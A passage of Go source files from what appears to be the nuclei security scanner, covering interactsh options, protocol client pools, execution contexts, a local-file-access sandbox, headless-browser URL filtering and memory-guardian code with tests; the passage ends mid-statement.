    "content": "package interactsh\n\nimport (\n\t\"time\"\n\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/interactsh/pkg/client\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/fuzz/frequency\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/progress\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/reporting\"\n\t\"github.com/projectdiscovery/retryablehttp-go\"\n)\n\n// Options contains configuration options for interactsh nuclei integration.\ntype Options struct {\n\t// ServerURL is the URL of the interactsh server.\n\tServerURL string\n\t// Authorization is the Authorization header value\n\tAuthorization string\n\t// CacheSize is the numbers of requests to keep track of at a time.\n\t// Older items are discarded in LRU manner in favor of new requests.\n\tCacheSize int\n\t// Eviction is the period of time after which to automatically discard\n\t// interaction requests.\n\tEviction time.Duration\n\t// CooldownPeriod is additional time to wait for interactions after closing\n\t// of the poller.\n\tCooldownPeriod time.Duration\n\t// PollDuration is the time to wait before each poll to the server for interactions.\n\tPollDuration time.Duration\n\t// Output is the output writer for nuclei\n\tOutput output.Writer\n\t// IssuesClient is a client for issue exporting\n\tIssuesClient reporting.Client\n\t// Progress is the nuclei progress bar implementation.\n\tProgress progress.Progress\n\t// Debug specifies whether debugging output should be shown for interactsh-client\n\tDebug bool\n\t// DebugRequest outputs interaction request\n\tDebugRequest bool\n\t// DebugResponse outputs interaction response\n\tDebugResponse bool\n\t// DisableHttpFallback controls http retry in case of https failure for server url\n\tDisableHttpFallback bool\n\t// NoInteractsh disables the engine\n\tNoInteractsh bool\n\t// NoColor disables printing colors for matches\n\tNoColor bool\n\t// Logger is the shared logging instance\n\tLogger *gologger.Logger\n\n\tFuzzParamsFrequency *frequency.Tracker\n\tStopAtFirstMatch    bool\n\tHTTPClient          *retryablehttp.Client\n}\n\n// DefaultOptions returns the default options for interactsh client\nfunc DefaultOptions(output output.Writer, reporting reporting.Client, progress progress.Progress) *Options {\n\treturn &Options{\n\t\tServerURL:           client.DefaultOptions.ServerURL,\n\t\tCacheSize:           5000,\n\t\tEviction:            60 * time.Second,\n\t\tCooldownPeriod:      5 * time.Second,\n\t\tPollDuration:        5 * time.Second,\n\t\tOutput:              output,\n\t\tIssuesClient:        reporting,\n\t\tProgress:            progress,\n\t\tDisableHttpFallback: true,\n\t\tNoColor:             false,\n\t}\n}\n"
  },
  {
    "path": "pkg/protocols/common/marker/marker.go",
    "content": "package marker\n\nconst (\n\t// General marker (open/close)\n\tGeneral = \"§\"\n\t// ParenthesisOpen marker - begin of a placeholder\n\tParenthesisOpen = \"{{\"\n\t// ParenthesisClose marker - end of a placeholder\n\tParenthesisClose = \"}}\"\n)\n"
  },
  {
    "path": "pkg/protocols/common/protocolinit/init.go",
    "content": "package protocolinit\n\nimport (\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/js/compiler\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/dns/dnsclientpool\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/http/httpclientpool\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/http/signerpool\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/network/networkclientpool\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/whois/rdapclientpool\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n\t_ \"github.com/projectdiscovery/utils/global\"\n)\n\n// Init initializes the client pools for the protocols\nfunc Init(options *types.Options) error {\n\tif err := protocolstate.Init(options); err != nil {\n\t\treturn err\n\t}\n\tif err := dnsclientpool.Init(options); err != nil {\n\t\treturn err\n\t}\n\tif err := httpclientpool.Init(options); err != nil {\n\t\treturn err\n\t}\n\tif err := signerpool.Init(options); err != nil {\n\t\treturn err\n\t}\n\tif err := networkclientpool.Init(options); err != nil {\n\t\treturn err\n\t}\n\tif err := rdapclientpool.Init(options); err != nil {\n\t\treturn err\n\t}\n\tif err := compiler.Init(options); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}\n\nfunc Close(executionId string) {\n\tprotocolstate.Close(executionId)\n}\n"
  },
  {
    "path": "pkg/protocols/common/protocolstate/context.go",
    "content": "package protocolstate\n\nimport (\n\t\"context\"\n\n\t\"github.com/rs/xid\"\n)\n\n// contextKey is a type for context keys\ntype ContextKey string\n\ntype ExecutionContext struct {\n\tExecutionID string\n}\n\n// executionIDKey is the key used to store execution ID in context\nconst executionIDKey ContextKey = \"execution_id\"\n\n// WithExecutionID adds an execution ID to the context\nfunc WithExecutionID(ctx context.Context, executionContext *ExecutionContext) context.Context {\n\treturn context.WithValue(ctx, executionIDKey, executionContext)\n}\n\n// HasExecutionID checks if the context has an execution ID\nfunc HasExecutionContext(ctx context.Context) bool {\n\t_, ok := ctx.Value(executionIDKey).(*ExecutionContext)\n\treturn ok\n}\n\n// GetExecutionID retrieves the execution ID from the context\n// Returns empty string if no execution ID is set\nfunc GetExecutionContext(ctx context.Context) *ExecutionContext {\n\tif id, ok := ctx.Value(executionIDKey).(*ExecutionContext); ok {\n\t\treturn id\n\t}\n\treturn nil\n}\n\n// WithAutoExecutionContext creates a new context with an automatically generated execution ID\n// If the input context already has an execution ID, it will be preserved\nfunc WithAutoExecutionContext(ctx context.Context) context.Context {\n\tif HasExecutionContext(ctx) {\n\t\treturn ctx\n\t}\n\treturn WithExecutionID(ctx, &ExecutionContext{ExecutionID: xid.New().String()})\n}\n"
  },
  {
    "path": "pkg/protocols/common/protocolstate/dialers.go",
    "content": "package protocolstate\n\nimport (\n\t\"sync\"\n\n\t\"github.com/projectdiscovery/fastdialer/fastdialer\"\n\t\"github.com/projectdiscovery/networkpolicy\"\n\t\"github.com/projectdiscovery/rawhttp\"\n\t\"github.com/projectdiscovery/retryablehttp-go\"\n\tmapsutil \"github.com/projectdiscovery/utils/maps\"\n)\n\ntype Dialers struct {\n\tFastdialer                 *fastdialer.Dialer\n\tRawHTTPClient              *rawhttp.Client\n\tDefaultHTTPClient          *retryablehttp.Client\n\tHTTPClientPool             *mapsutil.SyncLockMap[string, *retryablehttp.Client]\n\tNetworkPolicy              *networkpolicy.NetworkPolicy\n\tLocalFileAccessAllowed     bool\n\tRestrictLocalNetworkAccess bool\n\n\tsync.Mutex\n}\n"
  },
  {
    "path": "pkg/protocols/common/protocolstate/file.go",
    "content": "package protocolstate\n\nimport (\n\t\"strings\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/config\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n\t\"github.com/projectdiscovery/utils/errkit\"\n\tfileutil \"github.com/projectdiscovery/utils/file\"\n\tmapsutil \"github.com/projectdiscovery/utils/maps\"\n)\n\nvar (\n\t// LfaAllowed means local file access is allowed\n\tLfaAllowed *mapsutil.SyncLockMap[string, bool]\n)\n\nfunc init() {\n\tLfaAllowed = mapsutil.NewSyncLockMap[string, bool]()\n}\n\n// IsLfaAllowed returns whether local file access is allowed\nfunc IsLfaAllowed(options *types.Options) bool {\n\tif GetLfaAllowed(options) {\n\t\treturn true\n\t}\n\n\t// Otherwise look into dialers\n\tdialers, ok := dialers.Get(options.ExecutionId)\n\tif ok && dialers != nil {\n\t\tdialers.Lock()\n\t\tdefer dialers.Unlock()\n\n\t\treturn dialers.LocalFileAccessAllowed\n\t}\n\n\t// otherwise just return option value\n\treturn options.AllowLocalFileAccess\n}\n\nfunc SetLfaAllowed(options *types.Options) {\n\t_ = LfaAllowed.Set(options.ExecutionId, options.AllowLocalFileAccess)\n}\n\nfunc GetLfaAllowed(options *types.Options) bool {\n\tallowed, ok := LfaAllowed.Get(options.ExecutionId)\n\n\treturn ok && allowed\n}\n\nfunc NormalizePathWithExecutionId(executionId string, filePath string) (string, error) {\n\toptions := &types.Options{\n\t\tExecutionId: executionId,\n\t}\n\treturn NormalizePath(options, filePath)\n}\n\n// Normalizepath normalizes path and returns absolute path\n// it returns error if path is not allowed\n// this respects the sandbox rules and only loads files from\n// allowed directories\nfunc NormalizePath(options *types.Options, filePath string) (string, error) {\n\t// TODO: this should be tied to executionID using *types.Options\n\tif IsLfaAllowed(options) {\n\t\t// if local file access is allowed, we can return the absolute path\n\t\treturn filePath, nil\n\t}\n\tcleaned, err := fileutil.ResolveNClean(filePath, config.DefaultConfig.GetTemplateDir())\n\tif err != nil {\n\t\treturn \"\", errkit.Wrapf(err, \"could not resolve and clean path %v\", filePath)\n\t}\n\t// only allow files inside nuclei-templates directory\n\t// even current working directory is not allowed\n\tif strings.HasPrefix(cleaned, config.DefaultConfig.GetTemplateDir()) {\n\t\treturn cleaned, nil\n\t}\n\treturn \"\", errkit.Newf(\"path %v is outside nuclei-template directory and -lfa is not enabled\", filePath)\n}\n"
  },
  {
    "path": "pkg/protocols/common/protocolstate/headless.go",
    "content": "package protocolstate\n\nimport (\n\t\"context\"\n\t\"net\"\n\t\"strings\"\n\n\t\"github.com/go-rod/rod\"\n\t\"github.com/go-rod/rod/lib/proto\"\n\t\"github.com/projectdiscovery/networkpolicy\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n\t\"github.com/projectdiscovery/utils/errkit\"\n\tstringsutil \"github.com/projectdiscovery/utils/strings\"\n\turlutil \"github.com/projectdiscovery/utils/url\"\n\t\"go.uber.org/multierr\"\n)\n\n// initialize state of headless protocol\n\nvar (\n\tErrURLDenied  = errkit.New(\"headless: url dropped by rule\")\n\tErrHostDenied = errorTemplate{format: \"host %v dropped by network policy\"}\n)\n\n// errorTemplate provides a way to create formatted errors like the old errorutil.NewWithFmt\ntype errorTemplate struct {\n\tformat string\n}\n\nfunc (e errorTemplate) Msgf(args ...interface{}) error {\n\treturn errkit.Newf(e.format, args...)\n}\n\nfunc GetNetworkPolicy(ctx context.Context) *networkpolicy.NetworkPolicy {\n\texecCtx := GetExecutionContext(ctx)\n\tif execCtx == nil {\n\t\treturn nil\n\t}\n\tdialers, ok := dialers.Get(execCtx.ExecutionID)\n\tif !ok || dialers == nil {\n\t\treturn nil\n\t}\n\treturn dialers.NetworkPolicy\n}\n\n// ValidateNFailRequest validates and fails request\n// if the request does not respect the rules, it will be canceled with reason\nfunc ValidateNFailRequest(options *types.Options, page *rod.Page, e *proto.FetchRequestPaused) error {\n\treqURL := e.Request.URL\n\tnormalized := strings.ToLower(reqURL)      // normalize url to lowercase\n\tnormalized = strings.TrimSpace(normalized) // trim leading & trailing whitespaces\n\tif !IsLfaAllowed(options) && stringsutil.HasPrefixI(normalized, \"file:\") {\n\t\treturn multierr.Combine(FailWithReason(page, e), errkit.Newf(\"headless: url %v dropped by rule: %v\", reqURL, \"use of file:// protocol disabled use '-lfa' to enable\"))\n\t}\n\t// validate potential invalid schemes\n\t// javascript protocol is allowed for xss fuzzing\n\tif stringsutil.HasPrefixAnyI(normalized, \"ftp:\", \"externalfile:\", \"chrome:\", \"chrome-extension:\") {\n\t\treturn multierr.Combine(FailWithReason(page, e), errkit.Newf(\"headless: url %v dropped by rule: %v\", reqURL, \"protocol blocked by network policy\"))\n\t}\n\tif !isValidHost(options, reqURL) {\n\t\treturn multierr.Combine(FailWithReason(page, e), errkit.Newf(\"headless: url %v dropped by rule: %v\", reqURL, \"address blocked by network policy\"))\n\t}\n\treturn nil\n}\n\n// FailWithReason fails request with AccessDenied reason\nfunc FailWithReason(page *rod.Page, e *proto.FetchRequestPaused) error {\n\tm := proto.FetchFailRequest{\n\t\tRequestID:   e.RequestID,\n\t\tErrorReason: proto.NetworkErrorReasonAccessDenied,\n\t}\n\treturn m.Call(page)\n}\n\n// InitHeadless initializes headless protocol state\nfunc InitHeadless(options *types.Options) {\n\tdialers, ok := dialers.Get(options.ExecutionId)\n\tif ok && dialers != nil {\n\t\tdialers.Lock()\n\t\tdialers.LocalFileAccessAllowed = options.AllowLocalFileAccess\n\t\tdialers.RestrictLocalNetworkAccess = options.RestrictLocalNetworkAccess\n\t\tdialers.Unlock()\n\t}\n}\n\nfunc IsRestrictLocalNetworkAccess(options *types.Options) bool {\n\tdialers, ok := dialers.Get(options.ExecutionId)\n\tif ok && dialers != nil {\n\t\tdialers.Lock()\n\t\tdefer dialers.Unlock()\n\n\t\treturn dialers.RestrictLocalNetworkAccess\n\t}\n\treturn false\n}\n\n// isValidHost checks if the host is valid (only limited to http/https protocols)\nfunc isValidHost(options *types.Options, targetUrl string) bool {\n\tif !stringsutil.HasPrefixAny(targetUrl, \"http:\", \"https:\") {\n\t\treturn true\n\t}\n\n\tdialers, ok := dialers.Get(options.ExecutionId)\n\tif !ok {\n\t\treturn true\n\t}\n\n\tnp := dialers.NetworkPolicy\n\tif !ok || np == nil {\n\t\treturn true\n\t}\n\n\turlx, err := urlutil.Parse(targetUrl)\n\tif err != nil {\n\t\t// not a valid url\n\t\treturn false\n\t}\n\ttargetUrl = urlx.Hostname()\n\t_, ok = np.ValidateHost(targetUrl)\n\treturn ok\n}\n\n// IsHostAllowed checks if the host is allowed by network policy\nfunc IsHostAllowed(executionId string, targetUrl string) bool {\n\tdialers, ok := dialers.Get(executionId)\n\tif !ok {\n\t\treturn true\n\t}\n\n\tnp := dialers.NetworkPolicy\n\tif !ok || np == nil {\n\t\treturn true\n\t}\n\n\tsepCount := strings.Count(targetUrl, \":\")\n\tif sepCount > 1 {\n\t\t// most likely a ipv6 address (parse url and validate host)\n\t\treturn np.Validate(targetUrl)\n\t}\n\tif sepCount == 1 {\n\t\thost, _, _ := net.SplitHostPort(targetUrl)\n\t\tif _, ok := np.ValidateHost(host); !ok {\n\t\t\treturn false\n\t\t}\n\t\treturn true\n\t}\n\t// just a hostname or ip without port\n\t_, ok = np.ValidateHost(targetUrl)\n\treturn ok\n}\n"
  },
  {
    "path": "pkg/protocols/common/protocolstate/js.go",
    "content": "package protocolstate\n\nimport (\n\t\"github.com/Mzack9999/goja\"\n\t\"github.com/Mzack9999/goja/parser\"\n\t\"github.com/projectdiscovery/gologger\"\n)\n\n// NewJSRuntime returns a new javascript runtime\n// with defaults set\n// i.e sourcemap parsing is disabled by default\nfunc NewJSRuntime() *goja.Runtime {\n\tvm := goja.New()\n\tvm.SetParserOptions(parser.WithDisableSourceMaps)\n\t// disable eval by default\n\tif err := vm.Set(\"eval\", \"undefined\"); err != nil {\n\t\tgologger.Error().Msgf(\"could not set eval to undefined: %s\", err)\n\t}\n\treturn vm\n}\n"
  },
  {
    "path": "pkg/protocols/common/protocolstate/memguardian.go",
    "content": "package protocolstate\n\nimport (\n\t\"context\"\n\t\"sync\"\n\t\"time\"\n\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/utils/env\"\n\thttputil \"github.com/projectdiscovery/utils/http\"\n\t\"github.com/projectdiscovery/utils/memguardian\"\n)\n\nvar (\n\tMaxThreadsOnLowMemory          = env.GetEnvOrDefault(\"MEMGUARDIAN_THREADS\", 0)\n\tMaxBytesBufferAllocOnLowMemory = env.GetEnvOrDefault(\"MEMGUARDIAN_ALLOC\", 0)\n\tmemTimer                       *time.Ticker\n\tcancelFunc                     context.CancelFunc\n\tmuGlobalChange                 sync.Mutex\n)\n\nfunc StartActiveMemGuardian(ctx context.Context) {\n\tmuGlobalChange.Lock()\n\tdefer muGlobalChange.Unlock()\n\tif memguardian.DefaultMemGuardian == nil || memTimer != nil {\n\t\treturn\n\t}\n\n\tmemTimer = time.NewTicker(memguardian.DefaultInterval)\n\tctx, cancelFunc = context.WithCancel(ctx)\n\n\tticker := memTimer\n\tgo func(t *time.Ticker) {\n\t\tif t == nil {\n\t\t\treturn\n\t\t}\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase <-ctx.Done():\n\t\t\t\treturn\n\t\t\tcase <-t.C:\n\t\t\t\tif IsLowOnMemory() {\n\t\t\t\t\t_ = GlobalGuardBytesBufferAlloc()\n\t\t\t\t} else {\n\t\t\t\t\tGlobalRestoreBytesBufferAlloc()\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}(ticker)\n}\n\nfunc StopActiveMemGuardian() {\n\tmuGlobalChange.Lock()\n\tdefer muGlobalChange.Unlock()\n\n\tif memguardian.DefaultMemGuardian == nil {\n\t\treturn\n\t}\n\n\tif cancelFunc != nil {\n\t\tcancelFunc()\n\t\tcancelFunc = nil\n\t}\n\tif memTimer != nil {\n\t\tmemTimer.Stop()\n\t\tmemTimer = nil\n\t}\n}\n\nfunc IsLowOnMemory() bool {\n\tif memguardian.DefaultMemGuardian != nil && memguardian.DefaultMemGuardian.Warning.Load() {\n\t\treturn true\n\t}\n\treturn false\n}\n\n// GuardThreads on caller\nfunc GuardThreadsOrDefault(current int) int {\n\tif MaxThreadsOnLowMemory > 0 {\n\t\treturn MaxThreadsOnLowMemory\n\t}\n\n\tfraction := int(current / 5)\n\tif fraction > 0 {\n\t\treturn fraction\n\t}\n\n\treturn 1\n}\n\n// Global setting\nfunc GlobalGuardBytesBufferAlloc() error {\n\tif !muGlobalChange.TryLock() {\n\t\treturn nil\n\t}\n\tdefer muGlobalChange.Unlock()\n\n\t// if current capacity was not reduced decrease it\n\tif MaxBytesBufferAllocOnLowMemory > 0 && httputil.DefaultBufferSize == httputil.GetPoolSize() {\n\t\tgologger.Debug().Msgf(\"reducing bytes.buffer pool size to: %d\", MaxBytesBufferAllocOnLowMemory)\n\t\tdelta := httputil.GetPoolSize() - int64(MaxBytesBufferAllocOnLowMemory)\n\t\treturn httputil.ChangePoolSize(-delta)\n\t}\n\n\treturn nil\n}\n\n// Global setting\nfunc GlobalRestoreBytesBufferAlloc() {\n\tif !muGlobalChange.TryLock() {\n\t\treturn\n\t}\n\tdefer muGlobalChange.Unlock()\n\n\tif httputil.DefaultBufferSize != httputil.GetPoolSize() {\n\t\tdelta := httputil.DefaultBufferSize - httputil.GetPoolSize()\n\t\tgologger.Debug().Msgf(\"restoring bytes.buffer pool size to: %d\", httputil.DefaultBufferSize)\n\t\t_ = httputil.ChangePoolSize(delta)\n\t}\n}\n"
  },
  {
    "path": "pkg/protocols/common/protocolstate/memguardian_test.go",
    "content": "package protocolstate\n\nimport (\n\t\"context\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/projectdiscovery/utils/memguardian\"\n\t\"github.com/stretchr/testify/require\"\n\t\"github.com/tarunKoyalwar/goleak\"\n)\n\n// TestMemGuardianGoroutineLeak tests that MemGuardian properly cleans up goroutines\nfunc TestMemGuardianGoroutineLeak(t *testing.T) {\n\tdefer goleak.VerifyNone(t,\n\t\tgoleak.IgnoreAnyContainingPkg(\"go.opencensus.io/stats/view\"),\n\t\tgoleak.IgnoreAnyContainingPkg(\"github.com/syndtr/goleveldb\"),\n\t\tgoleak.IgnoreAnyContainingPkg(\"github.com/go-rod/rod\"),\n\t\tgoleak.IgnoreAnyContainingPkg(\"github.com/projectdiscovery/interactsh/pkg/server\"),\n\t\tgoleak.IgnoreAnyContainingPkg(\"github.com/projectdiscovery/ratelimit\"),\n\t)\n\n\t// Initialize memguardian if not already initialized\n\tif memguardian.DefaultMemGuardian == nil {\n\t\tvar err error\n\t\tmemguardian.DefaultMemGuardian, err = memguardian.New()\n\t\trequire.NoError(t, err, \"Failed to initialize memguardian\")\n\t}\n\n\tt.Run(\"StartAndStopMemGuardian\", func(t *testing.T) {\n\t\t// Test that starting and stopping memguardian doesn't leak goroutines\n\t\tctx := context.Background()\n\n\t\t// Start MemGuardian\n\t\tStartActiveMemGuardian(ctx)\n\t\trequire.NotNil(t, memTimer, \"memTimer should be initialized\")\n\t\trequire.NotNil(t, cancelFunc, \"cancelFunc should be initialized\")\n\n\t\t// Give it a moment to start\n\t\ttime.Sleep(10 * time.Millisecond)\n\n\t\t// Stop MemGuardian\n\t\tStopActiveMemGuardian()\n\n\t\t// Give goroutine time to exit\n\t\ttime.Sleep(20 * time.Millisecond)\n\n\t\t// Verify cleanup\n\t\trequire.Nil(t, memTimer, \"memTimer should be nil after stop\")\n\t\trequire.Nil(t, cancelFunc, \"cancelFunc should be nil after stop\")\n\t})\n\n\tt.Run(\"MultipleStartStop\", func(t *testing.T) {\n\t\t// Test multiple start/stop cycles\n\t\tfor i := 0; i < 3; i++ {\n\t\t\tctx := context.Background()\n\t\t\tStartActiveMemGuardian(ctx)\n\t\t\ttime.Sleep(5 * time.Millisecond)\n\t\t\tStopActiveMemGuardian()\n\t\t\ttime.Sleep(10 * time.Millisecond)\n\t\t}\n\t})\n\n\tt.Run(\"ContextCancellation\", func(t *testing.T) {\n\t\t// Test that context cancellation properly stops the goroutine\n\t\tctx, cancel := context.WithCancel(context.Background())\n\n\t\tStartActiveMemGuardian(ctx)\n\t\trequire.NotNil(t, memTimer, \"memTimer should be initialized\")\n\n\t\t// Cancel context to trigger goroutine exit\n\t\tcancel()\n\n\t\t// Give it time to process cancellation\n\t\ttime.Sleep(20 * time.Millisecond)\n\n\t\t// Clean up\n\t\tStopActiveMemGuardian()\n\t\ttime.Sleep(10 * time.Millisecond)\n\t})\n\n\tt.Run(\"IdempotentStart\", func(t *testing.T) {\n\t\t// Test that multiple starts don't create multiple goroutines\n\t\tctx := context.Background()\n\n\t\tStartActiveMemGuardian(ctx)\n\t\tfirstTimer := memTimer\n\n\t\t// Start again - should be idempotent\n\t\tStartActiveMemGuardian(ctx)\n\t\trequire.Equal(t, firstTimer, memTimer, \"memTimer should be the same\")\n\t\trequire.NotNil(t, cancelFunc, \"cancelFunc should still be set\")\n\n\t\tStopActiveMemGuardian()\n\t\ttime.Sleep(10 * time.Millisecond)\n\t})\n}\n\n// TestMemGuardianReset tests resetting global state\nfunc TestMemGuardianReset(t *testing.T) {\n\tdefer goleak.VerifyNone(t,\n\t\tgoleak.IgnoreAnyContainingPkg(\"go.opencensus.io/stats/view\"),\n\t\tgoleak.IgnoreAnyContainingPkg(\"github.com/syndtr/goleveldb\"),\n\t\tgoleak.IgnoreAnyContainingPkg(\"github.com/go-rod/rod\"),\n\t\tgoleak.IgnoreAnyContainingPkg(\"github.com/projectdiscovery/interactsh/pkg/server\"),\n\t\tgoleak.IgnoreAnyContainingPkg(\"github.com/projectdiscovery/ratelimit\"),\n\t)\n\n\t// Ensure clean state\n\tStopActiveMemGuardian()\n\ttime.Sleep(20 * time.Millisecond) // Allow any existing goroutines to exit\n\n\t// Test that we can start after stop\n\tctx := context.Background()\n\tStartActiveMemGuardian(ctx)\n\n\t// Verify it started\n\trequire.NotNil(t, memTimer, \"memTimer should be initialized after restart\")\n\n\t// Clean up\n\tStopActiveMemGuardian()\n\ttime.Sleep(10 * time.Millisecond) // Allow cleanup\n}\n"
  },
  {
    "path": "pkg/protocols/common/protocolstate/memoizer.go",
    "content": "package protocolstate\n\nimport (\n\t\"github.com/projectdiscovery/utils/memoize\"\n)\n\nvar Memoizer *memoize.Memoizer\n\nfunc init() {\n\tvar err error\n\tMemoizer, err = memoize.New(memoize.WithMaxSize(1500))\n\tif err != nil {\n\t\tpanic(err)\n\t}\n}\n"
  },
  {
    "path": "pkg/protocols/common/protocolstate/state.go",
    "content": "package protocolstate\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"net\"\n\t\"net/url\"\n\t\"time\"\n\n\t\"github.com/go-sql-driver/mysql\"\n\t\"github.com/pkg/errors\"\n\t\"golang.org/x/net/proxy\"\n\n\t\"github.com/projectdiscovery/fastdialer/fastdialer\"\n\t\"github.com/projectdiscovery/mapcidr/asn\"\n\t\"github.com/projectdiscovery/networkpolicy\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/utils/expand\"\n\t\"github.com/projectdiscovery/retryablehttp-go\"\n\tmapsutil \"github.com/projectdiscovery/utils/maps\"\n)\n\nvar (\n\tdialers *mapsutil.SyncLockMap[string, *Dialers]\n)\n\nfunc init() {\n\tdialers = mapsutil.NewSyncLockMap[string, *Dialers]()\n}\n\nfunc GetDialers(ctx context.Context) *Dialers {\n\texecutionContext := GetExecutionContext(ctx)\n\tdialers, ok := dialers.Get(executionContext.ExecutionID)\n\tif !ok {\n\t\treturn nil\n\t}\n\treturn dialers\n}\n\nfunc GetDialersWithId(id string) *Dialers {\n\tdialers, ok := dialers.Get(id)\n\tif !ok {\n\t\treturn nil\n\t}\n\treturn dialers\n}\n\nfunc ShouldInit(id string) bool {\n\tdialer, ok := dialers.Get(id)\n\tif !ok {\n\t\treturn true\n\t}\n\treturn dialer == nil\n}\n\n// Init creates the Dialers instance based on user configuration\nfunc Init(options *types.Options) error {\n\tif GetDialersWithId(options.ExecutionId) != nil {\n\t\treturn nil\n\t}\n\n\treturn initDialers(options)\n}\n\n// initDialers is the internal implementation of Init\nfunc initDialers(options *types.Options) error {\n\topts := fastdialer.DefaultOptions\n\topts.DialerTimeout = options.GetTimeouts().DialTimeout\n\tif options.DialerKeepAlive > 0 {\n\t\topts.DialerKeepAlive = options.DialerKeepAlive\n\t}\n\n\tvar expandedDenyList []string\n\tfor _, excludeTarget := range options.ExcludeTargets {\n\t\tswitch {\n\t\tcase asn.IsASN(excludeTarget):\n\t\t\texpandedDenyList = append(expandedDenyList, expand.ASN(excludeTarget)...)\n\t\tdefault:\n\t\t\texpandedDenyList = append(expandedDenyList, excludeTarget)\n\t\t}\n\t}\n\n\tif options.RestrictLocalNetworkAccess {\n\t\texpandedDenyList = append(expandedDenyList, networkpolicy.DefaultIPv4DenylistRanges...)\n\t\texpandedDenyList = append(expandedDenyList, networkpolicy.DefaultIPv6DenylistRanges...)\n\t}\n\tnpOptions := &networkpolicy.Options{\n\t\tDenyList: expandedDenyList,\n\t}\n\topts.WithNetworkPolicyOptions = npOptions\n\n\tswitch {\n\tcase options.SourceIP != \"\" && options.Interface != \"\":\n\t\tisAssociated, err := isIpAssociatedWithInterface(options.SourceIP, options.Interface)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif isAssociated {\n\t\t\topts.Dialer = &net.Dialer{\n\t\t\t\tLocalAddr: &net.TCPAddr{\n\t\t\t\t\tIP: net.ParseIP(options.SourceIP),\n\t\t\t\t},\n\t\t\t}\n\t\t} else {\n\t\t\treturn fmt.Errorf(\"source ip (%s) is not associated with the interface (%s)\", options.SourceIP, options.Interface)\n\t\t}\n\tcase options.SourceIP != \"\":\n\t\tisAssociated, err := isIpAssociatedWithInterface(options.SourceIP, \"any\")\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif isAssociated {\n\t\t\topts.Dialer = &net.Dialer{\n\t\t\t\tLocalAddr: &net.TCPAddr{\n\t\t\t\t\tIP: net.ParseIP(options.SourceIP),\n\t\t\t\t},\n\t\t\t}\n\t\t} else {\n\t\t\treturn fmt.Errorf(\"source ip (%s) is not associated with any network interface\", options.SourceIP)\n\t\t}\n\tcase options.Interface != \"\":\n\t\tifadrr, err := interfaceAddress(options.Interface)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\topts.Dialer = &net.Dialer{\n\t\t\tLocalAddr: &net.TCPAddr{\n\t\t\t\tIP: ifadrr,\n\t\t\t},\n\t\t}\n\t}\n\tif options.AliveSocksProxy != \"\" {\n\t\tproxyURL, err := url.Parse(options.AliveSocksProxy)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tvar forward *net.Dialer\n\t\tif opts.Dialer != nil {\n\t\t\tforward = opts.Dialer\n\t\t} else {\n\t\t\tforward = &net.Dialer{\n\t\t\t\tTimeout:   opts.DialerTimeout,\n\t\t\t\tKeepAlive: opts.DialerKeepAlive,\n\t\t\t\tDualStack: true,\n\t\t\t}\n\t\t}\n\t\tdialer, err := proxy.FromURL(proxyURL, forward)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\topts.ProxyDialer = &dialer\n\t}\n\n\tif options.SystemResolvers {\n\t\topts.ResolversFile = true\n\t\topts.EnableFallback = true\n\t}\n\tif len(options.InternalResolversList) > 0 {\n\t\topts.BaseResolvers = options.InternalResolversList\n\t}\n\n\topts.Deny = append(opts.Deny, expandedDenyList...)\n\n\topts.WithDialerHistory = true\n\topts.SNIName = options.SNI\n\t// this instance is used in javascript protocol libraries and\n\t// dial history is required to get dialed ip of a host\n\topts.WithDialerHistory = true\n\n\t// fastdialer now by default fallbacks to ztls when there are tls related errors\n\tdialer, err := fastdialer.NewDialer(opts)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"could not create dialer\")\n\t}\n\n\tnetworkPolicy, _ := networkpolicy.New(*npOptions)\n\n\thttpClientPool := mapsutil.NewSyncLockMap(\n\t\t// evicts inactive httpclientpool entries after 24 hours\n\t\t// of inactivity (long running instances)\n\t\tmapsutil.WithEviction[string, *retryablehttp.Client](24*time.Hour, 12*time.Hour),\n\t)\n\n\tdialersInstance := &Dialers{\n\t\tFastdialer:             dialer,\n\t\tNetworkPolicy:          networkPolicy,\n\t\tHTTPClientPool:         httpClientPool,\n\t\tLocalFileAccessAllowed: options.AllowLocalFileAccess,\n\t}\n\n\t_ = dialers.Set(options.ExecutionId, dialersInstance)\n\n\t// Set a custom dialer for the \"nucleitcp\" protocol.  This is just plain TCP, but it's registered\n\t// with a different name so that we do not clobber the \"tcp\" dialer in the event that nuclei is\n\t// being included as a package in another application.\n\tmysql.RegisterDialContext(\"nucleitcp\", func(ctx context.Context, addr string) (net.Conn, error) {\n\t\t// Because we're not using the default TCP workflow, quietly add the default port\n\t\t// number if no port number was specified.\n\t\tif _, _, err := net.SplitHostPort(addr); err != nil {\n\t\t\taddr += \":3306\"\n\t\t}\n\n\t\tvar executionId string\n\t\tif val := ctx.Value(\"executionId\"); val != nil {\n\t\t\texecutionId = val.(string)\n\t\t}\n\t\tdialer := 